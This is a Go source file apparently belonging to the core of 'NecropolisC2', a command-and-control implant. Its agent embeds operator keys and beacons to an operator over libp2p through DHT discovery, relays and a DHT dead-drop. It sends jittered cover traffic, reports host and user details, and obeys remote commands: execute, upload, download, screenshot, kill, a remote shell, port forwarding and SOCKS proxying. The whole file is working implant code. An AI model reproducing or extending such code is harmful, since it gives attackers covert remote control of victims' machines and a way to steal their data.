package core import ( "bytes" "context" "crypto/rand" "encoding/binary" "fmt" "io" "log" "os" "os/user" "runtime" "runtime/debug" "sort" "sync" "time" "github.com/libp2p/go-libp2p" "github.com/libp2p/go-libp2p/core/crypto" "github.com/libp2p/go-libp2p/core/network" "github.com/libp2p/go-libp2p/core/peer" tcp "github.com/libp2p/go-libp2p/p2p/transport/tcp" ws "github.com/libp2p/go-libp2p/p2p/transport/websocket" "github.com/multiformats/go-multiaddr" "google.golang.org/protobuf/proto" "github.com/Yenn503/NecropolisC2/pkg/cryptography" "github.com/Yenn503/NecropolisC2/pkg/transport" apb "github.com/Yenn503/NecropolisC2/protobuf/apb" ) type Agent struct { node *transport.Node messenger *transport.Messenger keys *cryptography.ImplantKey operatorPub crypto.PubKey boxPubKey *[32]byte authToken []byte config AgentConfig ctx context.Context cancel context.CancelFunc connected bool connectedMu sync.Mutex wg sync.WaitGroup beaconStream network.Stream beaconMu sync.Mutex beaconWriteMu sync.Mutex deadManCmd string deadManTimeout time.Duration deadManTimer *time.Timer relayPeers map[peer.ID]*relayPeerInfo relayMu sync.RWMutex lastDHTNonce int64 implantBoxKeys *cryptography.BoxKeyPair } type AgentConfig struct { OperatorAddr string WSSAddr string BeaconInterval time.Duration BeaconJitter time.Duration ReconnectBackoff time.Duration RelayAddrs []string CoverTraffic bool CoverInterval time.Duration CoverJitter time.Duration } func DefaultAgentConfig() AgentConfig { return AgentConfig{ BeaconInterval: 10 * time.Second, BeaconJitter: 5 * time.Second, ReconnectBackoff: 5 * time.Second, CoverTraffic: true, CoverInterval: 4 * time.Second, CoverJitter: 3 * time.Second, } } func loadOperatorPubKey() (crypto.PubKey, error) { if len(embeddedOperatorPubKey) == 0 { return nil, fmt.Errorf("no embedded operator public key — rebuild with build-implant tool") } return cryptography.PubKeyFromBytes(embeddedOperatorPubKey) } func loadOperatorBoxPubKey() *[32]byte { if len(embeddedOperatorBoxPubKey) != 32 { return nil } var key [32]byte copy(key[:], embeddedOperatorBoxPubKey) return &key } func loadAuthToken() []byte { if len(embeddedAuthToken) != 32 { return nil } return embeddedAuthToken } func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) { if len(embeddedImplantPrivKey) == 0 { return nil, fmt.Errorf("no embedded implant private key — rebuild with necropolis generate") } priv, err := cryptography.LoadPrivateKey(embeddedImplantPrivKey) if err != nil { return nil, fmt.Errorf("unmarshal implant key: %w", err) } pub := priv.GetPublic() pid, err := peer.IDFromPublicKey(pub) if err != nil { return nil, fmt.Errorf("peer id from implant key: %w", err) } return &cryptography.ImplantKey{ KeyPair: cryptography.KeyPair{PrivateKey: priv, PublicKey: pub}, PeerID: pid, OperatorPubKey: operatorPub, }, nil } func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) { ctx, cancel := context.WithCancel(ctx) operatorPub, err := loadOperatorPubKey() if err != nil { cancel() return nil, fmt.Errorf("load operator pubkey: %w", err) } keys, err := loadImplantKey(operatorPub) if err != nil { cancel() return nil, fmt.Errorf("load implant key: %w", err) } nodeCfg := transport.NodeConfig{ ListenAddr: "/ip4/0.0.0.0/tcp/0/ws", BootstrapPeers: transport.DefaultBootstrapAddrs(), EnableRelay: true, EnableRelayService: true, EnableMDNS: false, EnableDHT: true, RelayAddrs: cfg.RelayAddrs, PrivateKey: keys.PrivateKey, } node, err := transport.NewNode(ctx, nodeCfg, libp2p.NoTransports, libp2p.Transport(ws.New), libp2p.Transport(tcp.NewTCPTransport), ) if err != nil { cancel() return nil, fmt.Errorf("create node: %w", err) } boxPub := loadOperatorBoxPubKey() authToken := loadAuthToken() implantBoxKeys, err := cryptography.GenerateBoxKey() if err != nil { cancel() node.Close() return nil, fmt.Errorf("generate implant box key: %w", err) } a := &Agent{ keys: keys, operatorPub: operatorPub, boxPubKey: boxPub, authToken: authToken, node: node, config: cfg, ctx: ctx, cancel: cancel, relayPeers: make(map[peer.ID]*relayPeerInfo), implantBoxKeys: implantBoxKeys, } a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub, a.boxPubKey) a.messenger.SetAuthToken(authToken) a.messenger.SetHandler(a.handleCommand) return a, nil } func (a *Agent) Start() error { log.Printf("[implant] PeerID: %s", a.node.ID().String()) log.Printf("[implant] Operator: %s", a.messenger.BeaconTopic()) if a.config.OperatorAddr != "" { m, err := multiaddr.NewMultiaddr(a.config.OperatorAddr) if err != nil { return fmt.Errorf("parse operator addr %s: %w", a.config.OperatorAddr, err) } pi, err := peer.AddrInfoFromP2pAddr(m) if err != nil { return fmt.Errorf("parse operator peer info: %w", err) } if err := a.node.ConnectToPeer(a.ctx, *pi); err != nil { return fmt.Errorf("connect to operator: %w", err) } log.Printf("[implant] connected to operator directly: %s", pi.ID.String()) } if a.config.WSSAddr != "" { m, err := multiaddr.NewMultiaddr(a.config.WSSAddr) if err == nil { pi, err := peer.AddrInfoFromP2pAddr(m) if err == nil { if err := a.node.ConnectToPeer(a.ctx, *pi); err != nil { log.Printf("[implant] WSS fallback connect: %v", err) } else { log.Printf("[implant] connected via WSS: %s", a.config.WSSAddr) } } } } log.Printf("[implant] starting discovery...") if err := a.node.StartDiscovery(); err != nil { return fmt.Errorf("discovery: %w", err) } log.Printf("[implant] subscribing to commands...") if err := a.messenger.ListenCommands(a.ctx); err != nil { return fmt.Errorf("listen commands: %w", err) } if err := a.messenger.ListenTask(a.ctx, a.node.ID().String()); err != nil { return fmt.Errorf("listen task: %w", err) } a.node.SetStreamHandler(transport.CmdProtocolID, a.handleCommandStream) ns := a.messenger.RendezvousString() if a.node.DHT != nil { a.wg.Add(1) go a.discoverOperatorLoop(ns) } a.node.SetStreamHandler(transport.ShellProtocolID, a.handleShellStream) a.node.SetStreamHandler(transport.PortfwdProtocolID, a.handlePortfwdStream) a.node.SetStreamHandler(transport.SocksProtocolID, a.handleSocksStream) a.wg.Add(1) go a.beaconLoop() if a.config.CoverTraffic { a.wg.Add(1) go a.coverTrafficLoop() } a.wg.Add(1) go a.streamKeepaliveLoop() if a.node.DHT != nil { relayNS := a.relayRendezvous() a.wg.Add(1) go a.advertiseRelayLoop(relayNS) a.wg.Add(1) go a.discoverRelaysLoop(relayNS) a.wg.Add(1) go a.pollDHTCmdLoop() } return nil } func (a *Agent) discoverOperatorLoop(ns string) { defer a.wg.Done() defer func() { if r := recover(); r != nil { log.Printf("[implant] panic in discoverOperatorLoop: %v", r) } }() log.Printf("[implant] DHT discovery started for: %s", ns) for { if a.node.DHT != nil { rt := a.node.DHT.RoutingTable() if rt != nil && rt.Size() >= 5 { break } } select { case <-a.ctx.Done(): return default: } EvasionSleep(2 * time.Second) } for { func() { defer func() { if r := recover(); r != nil { log.Printf("[implant] panic in discoverOperatorLoop iteration: %v", r) } }() peerCh, err := a.node.FindPeers(a.ctx, ns) if err != nil { log.Printf("[implant] DHT find peers: %v", err) return } for pi := range peerCh { if pi.ID == a.node.ID() || pi.ID != a.messenger.OperatorID() || len(pi.Addrs) == 0 { continue } if err := a.node.ConnectToPeer(a.ctx, pi); err != nil { log.Printf("[implant] DHT connect to %s: %v", pi.ID.String(), err) continue } a.connectedMu.Lock() if !a.connected { a.connected = true a.connectedMu.Unlock() log.Printf("[implant] connected to operator via DHT: %s", pi.ID.String()) go a.sendBeaconDirect(pi.ID) } else { a.beaconMu.Lock() streamNil := a.beaconStream == nil a.beaconMu.Unlock() a.connectedMu.Unlock() if streamNil { log.Printf("[implant] beacon stream nil, reconnecting to %s", pi.ID.String()) go a.sendBeaconDirect(pi.ID) } } } a.connectedMu.Lock() cs := a.node.Host.Network().Connectedness(a.messenger.OperatorID()) if a.connected && cs != network.Connected && cs != network.Limited { a.connected = false } a.connectedMu.Unlock() }() select { case <-a.ctx.Done(): return default: } EvasionSleep(15 * time.Second) } } func cryptoJitter(max time.Duration) time.Duration { if max <= 0 { return 0 } var buf [8]byte rand.Read(buf[:]) n := int64(binary.LittleEndian.Uint64(buf[:]) & 0x7FFFFFFFFFFFFFFF) return time.Duration(n % int64(max)) } func (a *Agent) beaconLoop() { defer a.wg.Done() for { func() { defer func() { if r := recover(); r != nil { log.Printf("[implant] panic in beaconLoop: %v\n%s", r, debug.Stack()) } }() a.sendBeaconRegister() }() jitter := cryptoJitter(a.config.BeaconJitter) sleep := a.config.BeaconInterval + jitter select { case <-a.ctx.Done(): return default: } EvasionSleep(sleep) } } func (a *Agent) streamKeepaliveLoop() { defer a.wg.Done() for { select { case <-a.ctx.Done(): return default: } EvasionSleep(5 * time.Second) func() { defer func() { if r := recover(); r != nil { log.Printf("[implant] panic in streamKeepaliveLoop: %v\n%s", r, debug.Stack()) } }() a.connectedMu.Lock() connected := a.connected opID := a.messenger.OperatorID() a.connectedMu.Unlock() if !connected { return } env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil) if err := a.sendEnvelopeDirect(opID, env); err != nil { } }() } } func (a *Agent) coverTrafficLoop() { defer a.wg.Done() for { jitter := cryptoJitter(a.config.CoverJitter) sleep := a.config.CoverInterval + jitter select { case <-a.ctx.Done(): return default: } EvasionSleep(sleep) func() { defer func() { if r := recover(); r != nil { log.Printf("[implant] panic in coverTrafficLoop: %v\n%s", r, debug.Stack()) } }() a.sendCoverTraffic() }() } } func (a *Agent) sendCoverTraffic() { env := a.messenger.CreateEnvelope(transport.MsgTypeCover, nil) topic := a.messenger.BeaconTopic() if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil { log.Printf("[implant] cover traffic: %v", err) } } func (a *Agent) buildRegisterPayload() ([]byte, error) { hostname, _ := os.Hostname() username := os.Getenv("USER") if username == "" { username = os.Getenv("USERNAME") } if u, err := user.Current(); err == nil && u.Name != "" { username = u.Name } else if err == nil && u.Username != "" { username = u.Username } uid, gid := "", "" if runtime.GOOS != "windows" { uid = fmt.Sprintf("%d", os.Getuid()) gid = fmt.Sprintf("%d", os.Getgid()) } reg := &apb.Register{ Name: username, Hostname: hostname, UUID: a.node.ID().String(), Username: username, UID: uid, GID: gid, OS: runtime.GOOS, Arch: runtime.GOARCH, PID: int32(os.Getpid()), Filename: os.Args[0], Version: "0.1.0", Locale: os.Getenv("LANG"), ActiveC2: a.messenger.OperatorID().String(), BoxPubKey: a.boxPubKey[:], } beaconReg := &apb.Z1{ ID: a.node.ID().String(), Interval: int64(a.config.BeaconInterval.Seconds()), Jitter: int64(a.config.BeaconJitter.Seconds()), Register: reg, } data, err := proto.Marshal(beaconReg) if err != nil { return nil, err } return data, nil } func (a *Agent) sendBeaconRegister() { beaconData, err := a.buildRegisterPayload() if err != nil { log.Printf("[implant] marshal beacon register: %v", err) return } env := a.messenger.CreateEnvelope(transport.MsgTypeRegister, beaconData) a.connectedMu.Lock() connected := a.connected opID := a.messenger.OperatorID() a.connectedMu.Unlock() if connected { if err := a.sendEnvelopeDirect(opID, env); err == nil { log.Printf("[implant] sent beacon register to %s", opID.String()) return } } topic := a.messenger.BeaconTopic() if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil { log.Printf("[implant] send register: %v", err) } } func (a *Agent) sendBeaconDirect(operatorID peer.ID) { defer func() { if r := recover(); r != nil { log.Printf("[implant] panic in sendBeaconDirect: %v", r) } }() log.Printf("[implant] sending direct beacon to %s", operatorID.String()) beaconData, err := a.buildRegisterPayload() if err != nil { log.Printf("[implant] direct beacon marshal: %v", err) return } env := a.messenger.CreateEnvelope(transport.MsgTypeRegister, beaconData) if err := a.sendEnvelopeDirect(operatorID, env); err != nil { log.Printf("[implant] direct beacon send: %v", err) a.connectedMu.Lock() a.connected = false a.connectedMu.Unlock() return } log.Printf("[implant] sent direct beacon to %s", operatorID.String()) } func (a *Agent) handleCommand(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) { if err := transport.VerifyEnvelope(env, a.operatorPub); err != nil { log.Printf("[implant] dropped command — %v", err) return } if !bytes.Equal(env.Token, a.authToken) { log.Printf("[implant] dropped command — auth token mismatch") return } if a.messenger.IsReplay(env.ID) { log.Printf("[implant] dropped replay — type=%d id=%d", env.Type, env.ID) return } log.Printf("[implant] received command type=%d", env.Type) if a.implantBoxKeys != nil && len(env.Data) > 0 { decrypted, err := cryptography.DecryptMessage(env.Data, a.implantBoxKeys) if err == nil { env.Data = decrypted log.Printf("[implant] decrypted command type=%d", env.Type) } } if a.deadManTimer != nil { a.deadManTimer.Reset(a.deadManTimeout) } switch env.Type { case transport.MsgTypePs: a.handlePs(env) case transport.MsgTypeDownload: a.handleDownload(env) case transport.MsgTypeUpload: a.handleUpload(env) case transport.MsgTypeScreenshot: a.handleScreenshot(env) case transport.MsgTypeLs: a.handleLs(env) case transport.MsgTypeCd: a.handleCd(env) case transport.MsgTypePwd: a.handlePwd(env) case transport.MsgTypeExecute: a.handleExecute(env) case transport.MsgTypeKill: a.handleKill(env) case transport.MsgTypeDeadMan: a.handleDeadMan(env) default: log.Printf("[implant] unknown cmd type=%d", env.Type) } } func (a *Agent) handleCommandStream(s network.Stream) { defer func() { if r := recover(); r != nil { log.Printf("[implant] panic in handleCommandStream: %v\n%s", r, debug.Stack()) } }() defer s.Close() remotePeer := s.Conn().RemotePeer() log.Printf("[implant] command stream from %s", remotePeer.String()) var msgLen uint32 if err := binary.Read(s, binary.LittleEndian, &msgLen); err != nil { log.Printf("[implant] command stream read len: %v", err) return } if msgLen > 1<<20 { return } data := make([]byte, msgLen) if _, err := io.ReadFull(s, data); err != nil { log.Printf("[implant] command stream read data: %v", err) return } env := &apb.Envelope{} if err := proto.Unmarshal(data, env); err != nil { log.Printf("[implant] command stream unmarshal: %v", err) return } a.handleCommand(a.ctx, env, nil) } func (a *Agent) openBeaconStream(operatorID peer.ID) (network.Stream, error) { ctx, cancel := context.WithTimeout(a.ctx, 15*time.Second) defer cancel() ctx = network.WithAllowLimitedConn(ctx, "beacon stream") s, err := a.node.NewStream(ctx, operatorID, transport.BeaconProtocolID) if err != nil { return nil, fmt.Errorf("open stream: %w", err) } return s, nil } func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error { var data []byte if a.boxPubKey != nil && len(env.Data) > 0 { encrypted, err := cryptography.EncryptMessage(env.Data, a.boxPubKey) if err != nil { return fmt.Errorf("encrypt: %w", err) } data = encrypted } else { data = env.Data } wireEnv := &apb.Envelope{ ID: env.ID, Type: env.Type, Data: data, Token: env.Token, } pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic()) if err == nil { wireEnv.SenderKey = pubBytes } signingData, err := transport.EnvelopeSigningBytes(wireEnv) if err != nil { return fmt.Errorf("marshal signing data: %w", err) } sig, err := a.keys.PrivateKey.Sign(signingData) if err != nil { return fmt.Errorf("sign: %w", err) } wireEnv.Signature = sig s := a.getBeaconStream(operatorID) if s == nil { return fmt.Errorf("nil beacon stream") } envData, err := proto.Marshal(wireEnv) if err != nil { return fmt.Errorf("marshal: %w", err) } a.beaconWriteMu.Lock() defer a.beaconWriteMu.Unlock() s.SetWriteDeadline(time.Now().Add(5 * time.Second)) if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil { s.Close() a.setBeaconStream(nil) return fmt.Errorf("write len: %w", err) } if _, err := s.Write(envData); err != nil { s.Close() a.setBeaconStream(nil) return fmt.Errorf("write data: %w", err) } s.SetWriteDeadline(time.Time{}) return nil } func (a *Agent) getBeaconStream(operatorID peer.ID) network.Stream { a.beaconMu.Lock() s := a.beaconStream if s != nil { a.beaconMu.Unlock() return s } a.beaconMu.Unlock() cs := a.node.Host.Network().Connectedness(operatorID) if cs == network.Connected || cs == network.Limited { s, err := a.openBeaconStream(operatorID) if err == nil { return a.setOrCloseBeaconStream(s, "direct") } } a.relayMu.RLock() var candidates []peer.ID for id, rp := range a.relayPeers { if rp.connected { candidates = append(candidates, id) } } // prefer relays with fewer failures — cheapest signal available sort.Slice(candidates, func(i, j int) bool { return a.relayPeers[candidates[i]].failCount < a.relayPeers[candidates[j]].failCount }) a.relayMu.RUnlock() for _, relayID := range candidates { circuitAddr := fmt.Sprintf("/p2p/%s/p2p-circuit/p2p/%s", relayID.String(), operatorID.String()) m, err := multiaddr.NewMultiaddr(circuitAddr) if err != nil { continue } connCtx, cancel := context.WithTimeout(a.ctx, 15*time.Second) err = a.node.ConnectToPeer(connCtx, peer.AddrInfo{ID: operatorID, Addrs: []multiaddr.Multiaddr{m}}) cancel() if err != nil { log.Printf("[implant] relay %s to operator: %v", relayID.String(), err) continue } log.Printf("[implant] connected to operator via relay %s", relayID.String()) s, err := a.openBeaconStream(operatorID) if err == nil { return a.setOrCloseBeaconStream(s, "relayed") } } return nil } func (a *Agent) setBeaconStream(s network.Stream) { a.beaconMu.Lock() a.beaconStream = s a.beaconMu.Unlock() } func (a *Agent) setOrCloseBeaconStream(s network.Stream, via string) network.Stream { a.beaconMu.Lock() if a.beaconStream == nil { a.beaconStream = s } else { s.Close() s = a.beaconStream } a.beaconMu.Unlock() log.Printf("[implant] persistent beacon stream opened (%s)", via) return s } func (a *Agent) pollDHTCmdLoop() { defer a.wg.Done() defer func() { if r := recover(); r != nil { log.Printf("[implant] panic in pollDHTCmdLoop: %v", r) } }() if !a.node.WaitForDHT(a.ctx) { return } opID := a.messenger.OperatorID() for { nonce := a.lastDHTNonce + 1 key := transport.CommandDHTKey(opID, nonce) val, err := a.node.GetDHTValue(a.ctx, key) if err != nil || len(val) == 0 { select { case <-a.ctx.Done(): return case <-time.After(30 * time.Second): } continue } env := &apb.Envelope{} if err := proto.Unmarshal(val, env); err != nil { log.Printf("[implant] dht dead-drop unmarshal: %v", err) select { case <-a.ctx.Done(): return case <-time.After(30 * time.Second): } continue } a.handleCommand(a.ctx, env, nil) a.lastDHTNonce = nonce select { case <-a.ctx.Done(): return case <-time.After(30 * time.Second): } } } func (a *Agent) Close() error { a.cancel() a.wg.Wait() return a.node.Close() }